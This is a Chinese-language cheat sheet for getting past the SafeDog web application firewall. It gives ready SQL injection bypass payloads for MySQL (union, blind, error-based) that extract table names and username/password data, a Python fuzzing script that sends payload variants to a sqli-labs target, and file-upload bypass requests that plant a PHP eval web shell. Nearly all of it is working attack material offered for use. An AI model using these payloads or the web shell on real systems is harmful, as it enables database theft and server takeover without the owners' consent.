bypass_safedog

1、SQL注入

手工bypass要点 先通过破坏关键字测试出拦截规则 之后进行针对性绕过

1、Mysql

1.1、联合注入

0x01 and绕过

直接 and 1=1 直接就会被拦截

在数值的前面加特殊符号干扰匹配规则进行绕过

在这里使用 取反符号'-'或者取逻辑位非运算符号'~'进行绕过

+图片

mysql> select ~1;
+----------------------+
| ~1                   |
+----------------------+
| 18446744073709551614 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~1=~1;
+-------+
| ~1=~1 |
+-------+
|     1 |
+-------+
1 row in set (0.00 sec)

mysql> select ~1=~2;
+-------+
| ~1=~2 |
+-------+
|     0 |
+-------+

0x02 对order by ——> 判断表的字段数 进行绕过

通过破坏关键字测试出 拦截的是 order by 这两个关键字的组合，单独的关键字不拦 我们只需要干扰他的匹配即可

在这里我测试使用的是内联注释 和中间加特殊字符进行绕过

/*!order*/ by 3
order%0a%a0by 4

+图片

0x03 union select 联合注入进行绕过

这两个也是单独一个不拦 组合起来就会触发拦截

这里给出几个绕过payload

union select 绕过

'+union/*!44944select*/+1,2,3--+
'+union --+1%0aselect 1,2,3--+
'+union %23%0a+all+select+1,2,3--+
/*&id=-1'+union+select+1,2,3--+*/
'+"/*" union select 1,2,3 "*/"--+
'+'/*' union select 1,2,3 %23*/--+

user() 函数绕过

hex(user%0a())
hex(user/**/())

爆表
union+/*!44944SELECT*/+1,2,GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE%0a()

爆列
union+/*!44944SELECT*/+1,2,GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.columns+WHERE+TABLE_name=0x7573657273

爆数据
union+/*!44944SELECT*/+1,2,GROUP_CONCAT(username,0x7e,password+SEPARATOR+0x3c62723e)+FROM+users

---

1.2、盲注

1.2.1、延时注入

基础语句

select * from users where user_id=1 and if((substr((select user()),1,1)>10),sleep(5),1);

select user()处可以替换成要执行的查询语句
如：select group_concat(table_name,0x7e) from information_schema.tables where table_schema = database()

payload

1、内联注释绕过

/*!11443and*/ if((substr((select hex(user/**/())),1,1) > 1),sleep/**/(5),1)

2、and后面可以接特殊的字符可以绕过包括不限于! ~ & -

加偶数个'~'，可以绕过
加奇数个'-'可以绕过'
加 3 4 7 8 等数个'!'绕过 

and ~if((substr((select hex(user/**/())),1,1) > 1),sleep/**/(5),1)

and !!!if((substr((select hex(user/**/())),1,1) > 1),sleep/**/(5),1)

and ---if((substr((select hex(user/**/())),1,1) > 1),sleep/**/(5),1)

mysql> select * from users where user_id = 1 and !1;
Empty set (0.00 sec)

mysql> select * from users where user_id = 1 and !!1;
Empty set (0.00 sec)

mysql> select * from users where user_id = 1 and !!!1;
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
| user_id | first_name | last_name | user  | password                         | avatar                    | last_login          | failed_login |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin | 21232f297a57a5a743894a0e4a801fc3 | /hackable/users/admin.jpg | 2019-01-19 17:42:50 |            0 |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
1 row in set (0.00 sec)

mysql> select * from users where user_id = 1 and !!!!1;
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
| user_id | first_name | last_name | user  | password                         | avatar                    | last_login          | failed_login |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin | 21232f297a57a5a743894a0e4a801fc3 | /hackable/users/admin.jpg | 2019-01-19 17:42:50 |            0 |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
1 row in set (0.00 sec)

mysql> select * from users where user_id = 1 and !!!!!1;
Empty set (0.00 sec)

mysql> select * from users where user_id = 1 and ~1;
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
| user_id | first_name | last_name | user  | password                         | avatar                    | last_login          | failed_login |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin | 21232f297a57a5a743894a0e4a801fc3 | /hackable/users/admin.jpg | 2019-01-19 17:42:50 |            0 |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
1 row in set (0.00 sec)

mysql> select * from users where user_id = 1 and ~~~~~~~~~~~~~~~~~~~~~1;
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
| user_id | first_name | last_name | user  | password                         | avatar                    | last_login          | failed_login |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin | 21232f297a57a5a743894a0e4a801fc3 | /hackable/users/admin.jpg | 2019-01-19 17:42:50 |            0 |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
1 row in set (0.00 sec)

mysql> select * from users where user_id = 1 and -1;
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
| user_id | first_name | last_name | user  | password                         | avatar                    | last_login          | failed_login |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin | 21232f297a57a5a743894a0e4a801fc3 | /hackable/users/admin.jpg | 2019-01-19 17:42:50 |            0 |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
1 row in set (0.00 sec)

mysql> select * from users where user_id = 1 and --1;
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
| user_id | first_name | last_name | user  | password                         | avatar                    | last_login          | failed_login |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin | 21232f297a57a5a743894a0e4a801fc3 | /hackable/users/admin.jpg | 2019-01-19 17:42:50 |            0 |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
1 row in set (0.00 sec)

mysql> select * from users where user_id = 1 and ---1;
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
| user_id | first_name | last_name | user  | password                         | avatar                    | last_login          | failed_login |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin | 21232f297a57a5a743894a0e4a801fc3 | /hackable/users/admin.jpg | 2019-01-19 17:42:50 |            0 |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
1 row in set (0.00 sec)

---

1.2.2、布尔注入

基础语句

mysql> select * from users where user_id = 1 and substr((select user()),1,1)='r';
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
| user_id | first_name | last_name | user  | password                         | avatar                    | last_login          | failed_login |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin | 21232f297a57a5a743894a0e4a801fc3 | /hackable/users/admin.jpg | 2019-01-19 17:42:50 |            0 |
+---------+------------+-----------+-------+----------------------------------+---------------------------+---------------------+--------------+
1 row in set (0.00 sec)

mysql> select * from users where user_id = 1 and substr((select user()),1,1)='o';
Empty set (0.00 sec)

1、内联注释直接绕过

/*!11440and*/ substr((select hex(user/**/())),1,1)>1

2、在substr函数前面加特殊符号绕过

加偶数个'~'，可以绕过
加 3 4 7 8 等数个'!'绕过 

爆表
and+~~hex(substr((select table_name /*!11440from*/ information_schema.tables where table_schema=database/**/() limit 1,1),1,1))>71

---

1.3、报错注入

报错注入常用的一些函数
1、floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3、updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

mysql> select * from users where user_id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
mysql> select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
mysql> select * from users where user_id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

绕过payload

1、内联注释绕过

/*!%26%26*/ /*!11440updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)

/*!11440and*/ /*!11440updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)

2、特殊连接符绕过

任意数个'~'符号绕过
奇数个'-'绕过
and-/*!11440updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)

and~/*!11440updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)

and `updatexml`(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)

---

fuzz script

import requests
from queue import Queue
import threading

fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']
fuzz_sz = ['', ' ']
fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]
fuzz = fuzz_ch + fuzz_sz + fuzz_zs

class Fuzz:

    def __init__(self, base_url, thread_num):
        self.base_url = base_url
        self.thread_num = thread_num
        self.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'
                                      ' Chrome/74.0.3729.169 Safari/537.36'}
        self.task = Queue()
        for a in fuzz:
            for b in fuzz:
                for c in fuzz:
                    for d in fuzz:
                        exp = self.base_url + "'+\"/*\"union" + a + b + c + d + "select 1,2,3%23*/"
                        self.task.put(exp)

    def visit(self, exp_url):
        try:
            resp = requests.get(exp_url, headers=self.headers)
            resp_text = resp.text
        except requests.ConnectionError:
            resp_text = ""
        return resp_text

    def test_url(self):
        with open('fuzz_url.txt', 'w+') as f:
            while not self.task.empty():
                exp_url = self.task.get()
                resp_text = self.visit(exp_url)
                if "Welcome" in resp_text and "error" not in resp_text:
                    f.write(exp_url + '\n')
                    print(exp_url)

    def work(self):
        threads = []
        for i in range(self.thread_num):
            t = threading.Thread(target=self.test_url())
            threads.append(t)
            t.start()
        for t in threads:
            t.join()

url = "http://192.168.121.11/sqlilabs/Less-1/?id=1"

obj = Fuzz(url, 10)
obj.work()

---

2、上传绕过

2.1 上传绕过

1、换行绕过

Content-Disposition: form-data; name="upload_file"; filename="adm.p
hp"
Content-Type: image/jpeg

<?php phpinfo();?>

2、00截断

Content-Disposition: form-data; name="upload_file"; filename="adm.php%00"  # %00进行URL编码
Content-Type: image/jpeg

<?php phpinfo();?>

3、==绕过

Content-Disposition: form-data; name="upload_file"; filename=="adm.php"
Content-Type: image/jpeg

<?php phpinfo();?>

4、form-data后添加大量个字符进行绕过

Content-Disposition: form-dataoooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo;oooooooo name="upload_file"; filename="adm.php"
Content-Type: image/jpeg

<?php phpinfo();?>

生成字符

with open('1.txt', 'w+') as f:
    for i in range(411):
        f.write('o')

5、文件名+'号绕过

Content-Disposition: form-data; name=upload_file; filename=ad'm.php
Content-Type: image/jpeg

<?php @eval($_POST[1])?>

6、文件名加;号绕过

Content-Disposition: form-data; name="upload_file"; filename="adm;.php"
Content-Type:image/jpeg

<?php include "adm.txt"; ?>

---

2.2 执行绕过

1、文件包含绕过

1.1、先上传个一句话txt格式的一句话

1.2、再传个脚本文件内容为包含前面传的文本文件